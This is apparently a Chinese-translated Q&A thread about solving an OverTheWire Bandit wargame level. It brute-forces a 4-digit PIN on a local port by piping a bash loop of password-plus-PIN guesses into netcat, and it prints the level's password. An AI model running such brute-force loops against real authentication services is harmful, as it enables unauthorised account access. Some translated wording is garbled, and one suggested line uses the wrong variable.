Bash
使用 shell 腳本通過暴力破解 4 位密碼
我正在做一些挑戰。這是其中之一。我正在嘗試使用密碼暴力破解 4 位密碼以獲得我想要的答案。連接到埠後,它提示我輸入密碼,然後輸入空格,然後輸入 4 位密碼。我嘗試使用腳本對 pin 進行暴力破解:
#!/bin/bash nc localhost 30002 sleep 2 for i in {0000..9999}; if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i' </dev/stdin) = ^Wrong*]]; then continue echo '[+] Pincode Cracked! Pincode = $i' fi done
但在我嘗試做這樣的事情之前,這似乎沒有將通行證和引腳輸入到標準輸入 - >
if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i') = ^Wrong* ]];
我在這裡做錯了什麼?更新:
好的,所以在研究之後。我寫了這個:
for i in {0000..9999} do if [ (echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002 | grep -o Wrong) == "Wrong" ] then sleep 0.1 continue fi echo "- - - - - - - - - - - - - - - - - - - - - - - - [$i]" done
這甚至可能會起作用,但正如您所看到的,它會在循環中打開新的連接,這使得它變得非常慢並耗盡系統。
那是因為您沒有告訴您的腳本將任何內容寫入
nc
’s 的標準輸入。您的腳本啟動 netcat,等待它終止,然後sleep
在執行for
循環之前 s 兩秒鐘。您可能需要一個構造,例如:for i in {0000..9999}; do : stuff done | nc localhost 30002
這是一個快速且有效的工作答案:
#!/bin/bash passwd24=UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ for i in {0000..9999}; do echo "$passwd24 $i" done | nc localhost 30002 | grep -v Wrong | grep -v "I am the pincode checker for user bandit25"
您更新的答案很慢。當填寫錯誤的答案時,連接將繼續存在。就像之前的答案所示,是 for 循環末尾的管道。如果您真的想知道正確的引腳,您可以在 echo that 之前添加一行
echo "the correct pass: $1" > /tmp/correctpin.txt
。這與接收正確密碼的目的無關。